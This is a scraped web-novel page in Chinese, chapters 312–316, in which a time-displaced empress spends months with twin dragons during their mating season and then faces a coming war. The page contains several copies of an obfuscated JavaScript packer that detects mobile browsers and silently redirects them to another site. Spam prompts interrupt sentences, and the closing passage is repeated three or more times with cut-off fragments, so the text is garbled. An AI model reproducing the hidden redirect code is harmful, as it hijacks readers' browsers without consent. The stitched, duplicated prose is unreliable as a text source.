;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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若是掀天揭地的界皇,情丝不系,心湖不起,任尔东西南北风。 不明白喜欢一个人,能喜欢的命也不要? 恐怕连嗤之以鼻都懒得做。 江献晚却几乎是躲闪的垂眸,指尖陷入掌心。 “姐姐又要丢下我们了吗?” “或许……可以凑个整数。” 两道声音轻极了,连歇斯底里都是温柔的压低了嗓音。 那压抑的尾音,扫过耳膜,没有歇斯底里的咆哮,却比任何怒吼都更让人神魂俱颤,江献晚只觉神魂又开始疼。 心口堵作一团,眼前一黑,猛地向前倾身,一口殷红的血,毫无预兆地喷溅而出,落在衣襟上,触目惊心。 第 312 章 不会回来 曜灵和休冥霎时忘记了哭泣,忘记了质问,慌乱的扶了她,指尖都在发抖。 在困兽一般垂死挣扎的模糊低咽声中,江献晚只觉足踝一松。 那两条向来被她视为累赘,微凉的尾巴,同时松开了她的足踝。 “你走。 双生子忽然松开手。 青色的雪绡自她腕间拂曳而下,如一道无声的流水,划出一抹转瞬消失的弧,随即飘落。 轻得无人在意,更不会留下任何痕迹。 江献晚不敢看周遭的一切,不敢看性格南辕北辙,却将世间最赤诚温柔尽数给予她的双生子,此刻脸上究竟是何种的神情。 她难免经过那棵荔枝树,余光晃动着累累伤痕,像是更快、更决绝,头也不回的藏入那冰冷而空旷的三十三座宫殿。 终于无力倾倒,将头重重抵在冷硬的墙壁上。 她到底算是谁。 自小在孤儿院长大的孤儿。 身边有师尊师兄很多人的小伙伴的弟子。 孑然一身的界皇。 哪个是真的? 哪个才是真的? 天道将她送回来到底想做什么! 她到底要做什么! 她又该如何做! 三个不同岁月的记忆轰然相撞,强势糅合,江献晚陷在一片猩红混沌的泥泞,再也辨不清虚实和真幻。 连自己的呼吸声都变得陌生遥远。 甚至觉得这一切全是假的! 她是假的! 就连她怀胎九个月生下的江行行……也是假的。 假的…… 三百年前的界皇。 现代孤儿的江献晚。 这个世界里,有了江行行的她! 就连江行行都是假的! 这个念头如同淬毒的冰棱,骤然刺穿她最后的理智,带起一阵神魂崩裂的剧痛。 于是乎…… 在彻底疯癫的前一瞬。 江献晚一头干穿了墙壁。 轰然巨响中,碎石飞溅。 所有的声音、幻象,霎时止息。 江行行怎么可能是假的! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她是畜牲吗觉得自己的儿子是假的! 一盆掺着冰渣的血泼头淋下,她陡然冷静下来,才惊觉背后出了一层冷汗,中衣湿透,紧贴在颤抖的皮肤上。 她险些陷入魔障! 只差一瞬,便要自我否定至神魂俱灭,彻底死在自己妄念之下! 江献晚毫不犹豫,又狠狠甩了自己一巴掌。 瞬间……更冷静了。 她将自己逼进了一条彻头彻尾的死路。 做界皇时,视万物为刍狗,天地皆可弃,以为没有挂碍便是至高无上的力量。 无父无母的孤儿时,她在泥泞里跌撞长大,冷眼旁观世情如刀,割出一身孤绝的铠甲。 可如今—— 却在双生子之后,与帝隐他们之间…… 她算什么? 她都做了什么? 她所谓的强大,所谓的无牵无挂,不过是一层又一层自欺的伪装!全都是逃避!是彻头彻尾的懦弱! 江献晚睫毛濡湿,发觉,天色竟似乎一瞬泼墨般沉去地狱。 目光不由自主透过窗棂,投向望浓重到令人窒息的夜色。 不远的地方,是被她再次扔下的双生子。 她心头猛地一紧,没有意识到自己的反应,忽然原地不安的踱步几下。 下一刻,身形犹如一支挣脱束缚的箭**,冲进了夜幕。 —— 夜幕下的山洞像一张巨兽的咽喉,沉沉的张开,洞外弥漫着潮湿的泥土气息,混着某种腐朽的甜腻。 方圆十里的土地都随之嗡鸣。 这种声音并非嘶吼,而是更像地壳移动时的呻吟,带着令百兽蛰伏的威压,以及某种古老檀木被碾碎时的沉香。 江献晚心头一惊,一步踏入山洞,便看到两只龙首半浮于潭面,庞大的身躯强行折叠成**的弯曲,不敢损坏周遭器物。 层层叠叠旋转的咒印,像无数眼睛永远监视着囚徒。 那两条龙并非山峦般笨重的庞然,仿佛被风雪打磨千年的山脊,其躯干修长,似星河垂落的轨迹。 覆盖其身的鳞甲绝非粗糙的骨板,它们大小错落,排列如神祇亲书的密文,边缘流转着金属般的冷光,却又拥有玉石般的温润质感。 你的朋友正在书荒,快去帮帮他吧 此刻弯曲的利爪,在求偶的本能下,正胡乱急躁的刨抓着潭底岩石,留下深逾数尺的刻痕。 尾梢半沉在水中,每一次无意识的摆动都掀起暗流,搅动潭底符阵,让整个水潭发出不堪重负的呻吟。 最先失控的是鳞片。 那些尚未完全坚硬的黑色鳞甲突然开始自主翕动,摩擦出低沉而持续的嗡鸣,将整个龙巢映得如同炼炉内部。 喉核不受控制地振动,发出既非咆哮亦非吟啸的破碎音阶,蛮横地撕裂了少年最后的青涩。 双 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剧痛与极度的恐慌,让他尾巴尖胡乱卷起了潭底一块岩石,“砰”地一声,在半空攥作一片齑粉,飞溅的碎石划过他背部的黑鳞。 “姐姐……” “姐姐……” 他们本能的急急低呼江献晚,熔金瞳孔里淌下滚烫的液态金属,在脸颊上凝固成蜿蜒的泪痕。 却又不敢被她听见,惹她心烦,喉骨发出脆弱的咯吱声。 没人教他们如何驯服这场烧灼脏腑的大火。 他们仅仅能做的,就是将自己死死困在这冰冷的山洞中。 曜灵强忍着**的龙息,拿颤抖的尾巴尖去勾不远处的青色绡纱,仿佛勾住了那人的裙角,试图找寻一点安全。 休寅学他的样子,跟着去勾,只是身体的反应,让他彻底惊惧到失控。 勾了两下,都未能勾住。 “哥,姐姐是不是再也不会要我们了……” “哥,我们是不是要**……” “姐姐会……来看我们吗?” “如果我们**……姐姐……” “闭嘴!” 脾气向来最是柔软的曜灵,忽然拿尾巴扫在他硕大的头颅,恐怕是第一次发脾气。 扫罢,意识到自己的失态,又猛地将龙角用力撞向水潭边缘。 竟是泣不成声。 “休寅……别说了……别说了……” “姐姐……走了……” “姐姐再也……不会回来了……” 第 313 章 万丈红尘 龙在遇到心仪的对象,常会温柔拂过对方的每一片鳞甲。 更是一种无声的誓言: 以气息相伴,以心念描摹。 将眷恋细写在粼粼龙鳞之间,诉说温柔而执拗的心意。 她原本轻盈的发丝微微垂下,如同沾染了夜露,几缕轻轻贴在颈边。 知晓龙族特殊时期不短,但也没想到……就离了个大谱! 因为曜灵与休寅血脉纯正,更因他们是双生。 彼此的周期竟完全重叠一致,出现难以言喻的同步共鸣。 这非同寻常的同步非但没有分散冲动,反而像共鸣腔一般,导致强度倍增。 也正因如此,她在这洞中……已停留了整整六个月。 六个月啊! 不是六天! 树上的鸟都特么破壳飞走了,她嫉妒的恨不能当场一个疯癫。 光与暗的潮汐,在此间轮转,周而复始,永无止境,每一秒都被拉得无比漫长。 她早已用尽了全部力气,意识如轻舟浮沉于雾中,仿佛连支撑身体的力量也随风散去,长久地游离于半梦半醒之间。 卷翘的睫毛安静地低垂,白皙的面容上仍可见依稀泪迹,眼角晕开浅浅的绯红,鬓边的发丝也有些乱了。 耳畔传来一声又一声的“姐姐”,隐隐约约,似真似幻。 嗓音低低沉沉,掺着几分陌生的沙哑,浸透着说不清的雀跃与眷念。 江献晚:“……” 别姐了,她都特么的要尸解了好么! 江献晚睫毛紧阖,心里哭嚎成一条疯狗,一滴泪珠自眼角无声滑落,第无数次生出想**一会儿的心情。 龙族与凡人终究不同。 她原以为曜灵性情澄澈温柔,一切应当也是和风细雨。 却未料到,龙终究是龙。 跟特么性子,一点无关! 其磅礴龙息绵长,又恰逢漫长的周期,简直非人所能忍受。 没错! 根本就不是人特么能过的!!! 江献晚无数次倍感无力,自挂东南枝的冲动,达到了巅峰! 真的。 她真的很想问。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 为什么偏偏是龙! 而不是其他动物! 狐狸将人锁死的特性已是变态。 这龙……这龙…… 一个就特么……俩啊!!! 那龙息又催的她头昏脑涨神魂都一直不甚清醒。 简直是……道德败坏没丁点底线! 能干的不能干的。 都特么干了。 江献晚紧闭双眼庆幸自己竟然还好生生的活着。 将呼吸刻意压得绵长而均匀不敢流露出半分清醒的痕迹。 她能清晰地感知到外界的一切动静。 那指尖如同拂过琴弦般轻柔地掠过她的面庞轮廓 一缕气息此时扫过耳畔在那俯身靠近的瞬间像是春夜里的细风拂过所到之处泛起隐隐的悸动。 江献晚:“……”说真的有点emo。 够了。 她真的够了。 这个塌三年不想再碰! 曜灵与休寅原本生来便拥有令人失语的容貌轮廓如墨笔精心勾画而成。 一者冷冽如冰一者柔润似水。 此刻却都是眉目含黛更是近乎灼目的绝色。 轻阖的眼睫羽如鸦羽垂落目光如同浸润月华的流水。 然而那眼底深处又隐约流转着一缕陌生的春痕。 恍若自九天坠入尘世的神明不经意间沾染了精魅的魂息。 曜灵耳后蔓起一层薄红如胭脂渗玉血潮暗涌。 直至此刻他仍恍惚着难以相信姐姐回到了这里心甘情愿困守于这方寸囹圄。 在洞壁留下一道道属于他们之间的共同刻痕。 那日日夜夜的相伴洞壁上道道交织缠绕的刻痕让他整个心都柔软下来。 往日种种孤寂与苦楚仿佛在这一刻被悄然融化神魂亦如被春风拂过重塑。 汗珠无声地从额间滑落浸入衣襟他却浑然不觉。 借着悬吊着的鲛珠微光他的目光久久停驻在那张熟睡的侧颜上不敢惊动分毫。 指尖如对待稀世珍宝极轻、极缓地描摹着她的轮 你的朋友正在书荒,快去帮帮他吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259750|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廓,一遍又一遍,写下千万遍的眷恋。 而她在他臂弯中安睡,如一只倦极的幼兽,呼吸清浅,长睫垂下细密的影,面容是从未有过的宁静。 曜灵心中漾开一片温软,忍不住低下头,将脸庞轻埋于她的发间,贴近她雪白的肩颈,久久停留。 细细感受着她的温度与呼吸,确认眼前之人并非易逝的幻梦,而是真实可依的归宿。 恍惚间,一声低哑的呢喃自他喉间轻轻溢出,如梦中呓语,却浸满了难以言喻的眷念。 模糊地吐出两个字: “姐姐……” 江献晚:“……”险些没稳住呼吸,又双叒叕一个破大防。 休寅呼吸放的轻软,周身原本凌厉的气场也柔和下来,宛若冰雪初融,春意微漾。 他垂眸深深凝望那张明滟的容颜,眼中那片常年不化的冷冽早已消散,只剩下深沉的、几乎令人沉溺的温柔。 几缕汗湿的乌发贴在他额角与颈边,他却毫不在意,只以指尖极轻地为她捋开腮边湿润的发丝。 又轻轻去触碰那双纤长浓密,宛若剔透蝶翼的乌睫。 直到反复确定,这份温暖不会消失,将下颌轻轻抵在她的发顶,合上眼。 像是拥着失而复得的稀世珍宝,连呼吸都敛的极其细微。 江献晚神经微绷,浓密的睫毛栖息般,凝定不动。 唯有在阴影掠过眼前时,睫毛轻微地颤一下,指尖也不敢蜷缩,生怕一个破防,伪装不下去。 荒唐。 还是太荒唐了。 她分明可以从容来去,在看到两双盛满慌张与泪光的眼睛,不由己控,迈开了脚步,缓缓踏入了山洞。 握着棱角分明的石块,在洞壁上,刻下一道道痕迹。 一道痕迹,代表着一天。 但。 她忘了。 曾经,她心中尚未萦绕半分尘念之时,也曾站在相似的岔路口,轻轻抚摸过那棵伤痕累累的荔枝树。 一如如今的她一般,做了相同的选择。 一步一步走进这座珠光满室的山洞,心甘情愿,踏入这纷扰的万丈红尘之中。 在那珠光朦胧的洞壁上,刻下深深浅浅、如心绪般明晰的印记。 第 314 章 等我 江献晚不知,还未记起这些。 更不晓得,界皇时的她,六个月后醒来,都做了什么。 但这些,不耽误她内心早已是兵荒马乱,心潮如怒浪拍打卷覆。 这种清醒的沉沦,这种疏离的亲密,简直荒谬得令人心尖发颤,羞愤欲死。 事已至此。 她自个都在震惊自个竟然还能有多余的心思,想‘七个男人’的事…… 算上双生子,可不就是刚好集齐七个。 这下好了。 七个,都不是善茬,各个争风吃醋,会粘人的主。 可…… 双生子如今身处在这三百年之前,她要如…… 江献晚耳尖蓦地一动,不由自主,又压浅了一些呼吸。 曜灵从凌乱堆叠,黑白玄交织的几重衣裳上,将玉简勾来。 指尖抚过,目光触及其上字迹的刹那,原本柔润的眼波骤然凝冻,一丝冰裂般的戾气无声划过。 休寅观他神色,眉心微蹙,从那段雪白的腰肢上轻轻抬起手,接过。 只一眼,眸色骤然沉黯,如乌云蔽月,暗潮汹涌。 他薄唇轻启,声音低得几乎融进夜色,却字字浸着彻骨的杀意。 “明日寅时三刻。 “找死。 曜灵慌忙轻轻摇头,示意他压声。 目光垂落,望向怀中安睡的容颜时,那原本有些冷冽的眸色顷刻回暖,如同冰封的湖面悄然化开。 无声地舒出一口气。 将声音压的极低。 “此事不可惊扰姐姐。 “你我二人,杀了他们。 江献晚:“…… 什么事? 双生子不肯让她知道? 曜灵和休寅要杀了谁? 江献晚稍稍琢磨了一下,方才双生子那一瞬泄露的、几乎凝成实质的凛冽杀意。 心中顿时了然。 命运的齿轮显然开始旋转,那场导致中州成为一片难以踏足之地、三境分崩离析、三域元气大伤。 和四位高位者陨落、三位至强者生死成迷的大战,想来便 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 将始于明日寅时三刻。 到了此时她终于明白这场大战原本只是南北两境和三域合伙围殴界域的战争。 中州为何会突然掺和一脚导致大战的地点从界域变成了中州。 此事是双生子的手笔。 所因为何不过是她。 两境两域要收拾她曜灵与休寅自然不会依。 这时的三境其实早已私下暗里纷争不断 中州又突然多出一位灵休帝尊她一人之势便压的另外两境抬不起头。 更令这两位本就名不副实的帝尊与双生子相比之下相形见绌、黯然失色。 直白来说就是这俩帝尊修为不行人品不行没眼看哪哪都差劲。 加起来都干不过双生子更与双生子无法并论。 嫉妒之心可想而知。 不过双生子是她养的打架的功夫自然像她。 那俩玩意儿打不过也……实属正常。 倒是南北两境觊觎中州已久早已暗中滋长着瓜分灵脉、吞并虚古境土的祸心。 只不过近几年来被她一再出手压制屡遭重挫整日哭丧个脸跟个喇叭花似的哪里顾得上寻双生子的麻烦。 但是长久双重打压下有压迫就一定会有反抗。 他们怎可能眼睁睁看着自家的地盘被她瓜分干净中州却无事一家独大。 南北两境定会放下心中成见与妖域、魔域暗中缔结盟约高举大旗。 想来是想联手先将她置于死地再一举吞并中州。 不然再不开打结局只有被她一统和中州愈发如日中天的份儿。 想到那一场大战的结果江献晚顿时生出些几乎可以算得上是恐惧的紧张。 她手心出了一层汗却并非害怕两尊两皇一同来群殴她。 这四个小东西既不是风回雪又不是非翎还不是云为泽和帝隐更不是花不休。 干就完了他们死便死。 否则哪里来的风回雪他们在三百年后与她相遇。 可双生子的结局让她心里始终蒙上一层阴霾。 天道将她送来或许不是天 你的朋友正在书荒,快去帮帮他吧 道愿意,而是迫不得已。 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这也要得亏于她空间芥子里乱七八糟的东西,数不胜数,找些灵植还是轻轻松松。 她指尖灵火跳动,眸光沉静,看着灵植在操控下,很快丹成。 将那使人四肢酥软,要睡上十来日的丹药,搁在不显眼的角落里,用手轻轻扇了扇,让那无色无味的气息悄散于空气之中。 回眸静静看了一会儿呼吸匀长,犹在好梦的双生子,在桌案纸张上写下两个字。 唇角微微勾了勾,落下一道结界,衣袂拂过,悄然离去。 第 315 章 幼稚园 回到三十三座殿,江献晚准备召来三王问一问两境两域的情况。 此时,天幕低垂,万象星河流转,银河渐显于苍穹之上。 一片此起彼伏的喧嚷之声,远远盖过了四下虫鸣兽语,她下意识抬眸远望。 唇角登时一抽。 这些呆瓜是她的兵吗? 都说界域修士脑子有病,这么看的话,确实……没毛病! 一眼望去,那叫一个千姿百态。 挂在树杈上快乐摇晃的,瘫躺在地上来回打滚的,蹲在街道上头碰头玩骰子的,更有甚者骑在屋檐上放声歌唱的…… 总而言之,言而总之,做什么的都有。 并且,你永远猜不到他们下一步想做什么。 就像那个突然悄咪咪摸了一下旁边鸡妖屁股,将人家最漂亮的尾巴**拔掉的魔。 她竟然拿人家尾巴**……掏耳屎? 好吧。 两个已经打起来了。 话说,这个耳屎非掏不可吗? 江献晚:“…… 神识稍稍铺展开,四面八方,更遥远处涌来同样七嘴八舌的吵闹声。 清晰入耳。 江献晚:“…… 听到他们讨论的话题,又是好一阵沉默。 这特么都要被打上门了,就一点不紧张的吗? 怎么还迫不及待的? “嗷嗷嗷好开心,跟着吾皇一干四! “虚古境这群傻子,是特么看不起我们吗?我们明明可以一干五啊! “你屎吃多了吧?干完他们四个,你特么不会再去干虚古境吗?主打一个,谁都别想活! “你说谁屎吃多了!我晚饭明明吃了仨鸡蛋!还有,我现在就先**!再干他们! “鸡蛋?你特么又掏我鸡蛋?还我的女儿和儿子!!! “呜呜呜……吾皇,这孙子又偷我鸡蛋——!!!你要为我和我未出世的宝宝做主啊! “拉倒吧,也不知道上次是谁把自个的蛋给炖了! “为什么要等到后天!为什么不是现在!老娘浑身刺挠,现在就想打架! “吾皇!我躁动的身,火 听说看这本书的人都是很幸运的,分享后你的运气会更棒 热的心,都在为你而熊熊燃烧,一丁点都等不及了嗷嗷嗷!咱们能不能就现在快乐的出发?” “皇?吾皇?你在吗?在吗?在的话,给我回个话成吗?” “吾皇!等咱们的界碑插遍整个玄古,你能不能考虑一下,让我当第四个王?当然,这个王我不白当,我今天刚下了俩鸵鸟蛋,都给你熬汤喝!” “总之,我绝对不是因为不想孵蛋!不过,说真的,单身真的好快乐……嘿嘿……” “吾皇!你知道吗?我皮又痒了!你已经六个月没有打我了!六个月呐!你又去哪了!就不知道着家的吗?” “你知道我这六个月都是怎么过的吗?我地皇在哪里!我皇的大拳头又在哪里!不管吾皇在哪里,风里雨里,我在春风一度大道等着你!” “吾皇,嘤嘤可以跟您一块去吗?嘤嘤已经三岁了!昨天一拳打倒了一个老师傅!那什么魔皇,就交给嘤嘤吧!” 老师傅:“……”拉倒吧!他就是单纯不想带娃!他一拳能打倒十个小朋友的好吧! 江献晚:“……” 人生不易,界皇叹气。 仨鸡蛋啊,先不说人家鸡妖自个生,自个吃,他把把人家儿子闺女吃了,挨打确实不亏他。 还有,看的出来,那鸵鸟妖根本就不想孵蛋,更不想传宗接代,然后自个快活! 那个谁,皮痒就找棵枣树去蹭啊,她也很忙的好吧? 哦,以后多摘点枣树。 还有,鸵鸟蛋啊,她还真没吃过。 那个嘤嘤小朋友,三岁啊,确实挺大的。 一拳打倒一个老师傅,这不比她厉害。 不过。 不能! 界皇表示,拒绝童工! 还有你们,等不及送死吗? 你们特么是命痒了吧? 还界碑插遍全玄古? 有没有一种可能,插遍玄古的是咱们的坟头? 这些从上狂到下,再从下狂到上的大袜子,到底有没有一点惜命的觉悟啊喂! 江献晚属实没忍住,啪啪鼓了两下掌。 别说,能把界域管成这样,她也是有点牛逼在身上的。 反正……正常人绝对管不成这样! 难 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 怪其他境域都不跟界域玩,这特么脑回路根本跟不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一把将他胳膊掰回来的辛熠:“你特么让谁等!你再说一遍你特么让谁等!” 反手就是一捶的绯雨:“好你个狗东西!你特么敢让吾皇等!翅膀硬了是吧?连吾皇都不放在眼里了是吧!我打——!” 第 316 章 客呢 江献晚:“……” 说真的,她从前为什么想不开,非要去划拉人家的地盘。 还养了一群脑回路如此清奇,让人感动到想哭的小东西。 这特么跟开了个幼稚园,她就是个园长有什么区别? 专注自个不香吗? 眼看仨撕吧的有来有回,大有到天亮的架势,江献晚扶额,不得不端起界皇的气势。 冷冷吐出两个字。 “闭嘴!” 三王:“……” 啊? 闭嘴? 那行吧。 闭嘴就闭嘴。 动作整齐划一,齐刷刷拿两根手指头,捏住了嘴。 以一种匪夷所思的拧巴姿势,团在原地。 “闭好了。” 江献晚:“……”闭好了还能说话? 沉默片刻,用力闭了一下眼。 “两境两域消息。” 说到这个,暮殇两脚踹开绯雨和辛熠,一撸袖子,“噢!据小道消息,两境两域明天晚上要来咱家做客了,现在他们已经出发了!” 辛熠反捣他一胳膊肘,“什么小道!明明搁大道上看见的好吗!还有,那特么是早就出发了好吗!再等一会儿就到边境了!” 绯雨:“咱们去边境等,还是在家等?我跟下面的通知一下,他们都等烦了。” “真的是,就不能跑快点!不知道赶时间的吗!” 江献晚:“……” 做客? 这特么是做客吗? 通知什么? 给他们泡点茶吗? 还去边境等,家里等,要不要先睡一觉,不等! 还赶时间,赶着送人头? “这么重要的事为何不早些说!” 他们心眼得是有多大啊! 非得让她自个拿俩眼珠子看吗? 还有,这臭毛病,都特么多少回了? 每天给她唱歌跳舞的事儿,怎么就不忘呢! 该忘的不忘,不该忘的是一点不记。 接受到江献晚直勾勾的目光,三个少年吓的脖子一缩,抬头,四五十度角,齐刷 刷心虚望天。 异口同声。 还挺理直气壮。 “我们这不是起晚了嘛!” 江献晚:“……” 那要这么说的话,也……没毛病。 天大地大,睡觉最大。 辛熠:“再说,他们又不是不认路。” 绯雨:“你怎么知道他们认路?” 暮殇:“蠢货!那就不能一半认路,一半不认路!吾皇,你说对吧?” 江献晚:“……对。” 仔细一想,确实不是没这个可能。 估计还真有傻子,不认得界域的路。 她说罢,自个一愣,下一刻狗咬腚似的,突然消失在夜色。 不行。 在客人到来之前,她觉得她很有必要先冷静一下。 当然。 她绝对不会承认,这些人魔妖,似乎真的是被她给洗脑,才变成这样的。 “嗷——!!!” 江献晚这一走,目标是边境,三个少年凄厉惨叫,瞬间分开。 “吾皇!你又要去哪啊!你就不能先把自个的屁股暖热吗?这么着急走,那四个是你亲戚啊?这不是咱们的家了吗!” “六个月啊!你再跑六个月,三十三殿都长蜘蛛网了!” “吾皇!我昨天还真看见了两个蜘蛛网,你现在要不要先回去看看?织的还挺大!” 江献晚:“……” 这脑回路……算了,不说了。 该她的。 界皇走的麻溜,关键时刻,三王还是有点小靠谱在身上的。 以灵力扩音,摇人,摇妖,摇魔。 “注意注意!现在有新的任务要接取,现在请回答接取,或者是接取!” “来、活、了——!” “干不干!” “干——!!!” “那还不快点洗把脸支楞起来!地上那个!鞋别穿了!还有狗洞里那个,你特么不会叼着骨头跑吗?” “嗷嗷嗷!我来啦!!!” “三王!能不能不洗脸啊!最讨厌洗脸!” “叼着骨头,他们跟我抢怎么办! 不要!我得埋起来!” “三王,咱皇呢?!!” 三王:“早走了!蠢货!” 刹那间,那些干什么都有的无数黑影,火急火燎,嗷嗷直叫,群魔乱舞,鬼撵似的直冲云霄。 江献晚回眸望了一眼,那铺天盖地,几乎将乌云都遮住的震撼场面,眼眶逐渐湿润。 半个小时后。 这种湿润,在她给了三王一个一捶之后,消失不见! “你们不是说他们来咱们家做客吗!” “不是说马上到边境了吗?” “客呢?” “丢了?做别人家了?啊?回答我!” 辛熠捂着脑壳上的包,拿智慧的小眼神瞅她,“可能……真丢了,上别人家了。” 又瞪了瞪眼珠子。 问。 “皇,你今天话咋这么密?” 绯雨围着她走了三圈,“别说,皇,你长嘴了?要不,你再说一句试试呢?” “你知道你刚才把我问的,都懵逼了么?” 暮殇点点头,“这回我不跟你俩抬杠,皇,你今天话多的,让我害怕,又叫我狂喜不已。” “别说那什么三日不见,刮目相看,六个月不见,你是大有改善!” “我觉得吧,你嘴碎的样子还挺好看。” 皇都是一个字一个字,往外蹦的。 上天垂怜啊! 她说了好多个字! 妈呀! 喜普大奔,喜普大奔! 高低得摆上两桌! 江献晚:“……”这特么是重点吗! 她话哪里密了! 到底是谁话密! 果断,一个又给了一捶。 —— 中州。 又名虚古境。 万千身影立于虚空,遮天蔽日,犹如天兵临世。 声讨声四起,朝手持厄弓,一袭黑衣,立于虚空的灵休帝尊倾轧而去。 为首的四个,赫然是玄古大陆历史课本上,三百年前的尊、帝、皇。 江献晚匆匆赶到,旋身落于树干。 再次沉默。 别说,辛熠那个乌鸦嘴,还真给他说中了。 这两境两域,特么眼睛都长脚底板了吧,做客给做到虚古境去了? **吧。 还是看不起她? 江献晚微微眯眸,扫过密密麻麻,列阵四方的两境两域。 待发现那华光色倾,一半面遮颜的清隽身形,十指猝然收紧,如坠冰窟。 双生子,竟然醒了! 还在她前,先回到了虚古境! 分明是预判了她的想法。 故意装睡,放松她的警惕! 主动出击,将大战扭转到了虚古境! 江献晚眼底凝冰,心脏却像被一只无形的巨手攥上,让她喘不过气。 难道这场大战,注定发生在中州,无法逆转。 不要!我得埋起来!” “三王,咱皇呢?!!” 三王:“早走了!蠢货!” 刹那间,那些干什么都有的无数黑影,火急火燎,嗷嗷直叫,群魔乱舞,鬼撵似的直冲云霄。 江献晚回眸望了一眼,那铺天盖地,几乎将乌云都遮住的震撼场面,眼眶逐渐湿润。 半个小时后。 这种湿润,在她给了三王一个一捶之后,消失不见! “你们不是说他们来咱们家做客吗!” “不是说马上到边境了吗?” “客呢?” “丢了?做别人家了?啊?回答我!” 辛熠捂着脑壳上的包,拿智慧的小眼神瞅她,“可能……真丢了,上别人家了。” 又瞪了瞪眼珠子。 问。 “皇,你今天话咋这么密?” 绯雨围着她走了三圈,“别说,皇,你长嘴了?要不,你再说一句试试呢?” “你知道你刚才把我问的,都懵逼了么?” 暮殇点点头,“这回我不跟你俩抬杠,皇,你今天话多的,让我害怕,又叫我狂喜不已。” “别说那什么三日不见,刮目相看,六个月不见,你是大有改善!” “我觉得吧,你嘴碎的样子还挺好看。” 皇都是一个字一个字,往外蹦的。 上天垂怜啊! 她说了好多个字! 妈呀! 喜普大奔,喜普大奔! 高低得摆上两桌! 江献晚:“……”这特么是重点吗! 她话哪里密了! 到底是谁话密! 果断,一个又给了一捶。 —— 中州。 又名虚古境。 万千身影立于虚空,遮天蔽日,犹如天兵临世。 声讨声四起,朝手持厄弓,一袭黑衣,立于虚空的灵休帝尊倾轧而去。 为首的四个,赫然是玄古大陆历史课本上,三百年前的尊、帝、皇。 江献晚匆匆赶到,旋身落于树干。 再次沉默。 别说,辛熠那个乌鸦嘴,还真给他说中了。 这两境两域,特么眼睛都长脚底板了吧,做客给做到虚古境去了? **吧。 还是看不起她? 江献晚微微眯眸,扫过密密麻麻,列阵四方的两境两域。 待发现那华光色倾,一半面遮颜的清隽身形,十指猝然收紧,如坠冰窟。 双生子,竟然醒了! 还在她前,先回到了虚古境! 分明是预判了她的想法。 故意装睡,放松她的警惕! 主动出击,将大战扭转到了虚古境! 江献晚眼底凝冰,心脏却像被一只无形的巨手攥上,让她喘不过气。 难道这场大战,注定发生在中州,无法逆转。 不要!我得埋起来!” “三王,咱皇呢?!!” 三王:“早走了!蠢货!” 刹那间,那些干什么都有的无数黑影,火急火燎,嗷嗷直叫,群魔乱舞,鬼撵似的直冲云霄。 江献晚回眸望了一眼,那铺天盖地,几乎将乌云都遮住的震撼场面,眼眶逐渐湿润。 半个小时后。 这种湿润,在她给了三王一个一捶之后,消失不见! “你们不是说他们来咱们家做客吗!” “不是说马上到边境了吗?” “客呢?” “丢了?做别人家了?啊?回答我!” 辛熠捂着脑壳上的包,拿智慧的小眼神瞅她,“可能……真丢了,上别人家了。” 又瞪了瞪眼珠子。 问。 “皇,你今天话咋这么密?” 绯雨围着她走了三圈,“别说,皇,你长嘴了?要不,你再说一句试试呢?” “你知道你刚才把我问的,都懵逼了么?” 暮殇点点头,“这回我不跟你俩抬杠,皇,你今天话多的,让我害怕,又叫我狂喜不已。” “别说那什么三日不见,刮目相看,六个月不见,你是大有改善!” “我觉得吧,你嘴碎的样子还挺好看。” 皇都是一个字一个字,往外蹦的。 上天垂怜啊! 她说了好多个字! 妈呀! 喜普大奔,喜普大奔! 高低得摆上两桌! 江献晚:“……”这特么是重点吗! 她话哪里密了! 到底是谁话密! 果断,一个又给了一捶。 —— 中州。 又名虚古境。 万千身影立于虚空,遮天蔽日,犹如天兵临世。 声讨声四起,朝手持厄弓,一袭黑衣,立于虚空的灵休帝尊倾轧而去。 为首的四个,赫然是玄古大陆历史课本上,三百年前的尊、帝、皇。 江献晚匆匆赶到,旋身落于树干。 再次沉默。 别说,辛熠那个乌鸦嘴,还真给他说中了。 这两境两域,特么眼睛都长脚底板了吧,做客给做到虚古境去了? **吧。 还是看不起她? 江献晚微微眯眸,扫过密密麻麻,列阵四方的两境两域。 待发现那华光色倾,一半面遮颜的清隽身形,十指猝然收紧,如坠冰窟。 双生子,竟然醒了! 还在她前,先回到了虚古境! 分明是预判了她的想法。 故意装睡,放松她的警惕! 主动出击,将大战扭转到了虚古境! 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刹那间,那些干什么都有的无数黑影,火急火燎,嗷嗷直叫,群魔乱舞,鬼撵似的直冲云霄。 江献晚回眸望了一眼,那铺天盖地,几乎将乌云都遮住的震撼场面,眼眶逐渐湿润。 半个小时后。 这种湿润,在她给了三王一个一捶之后,消失不见! “你们不是说他们来咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 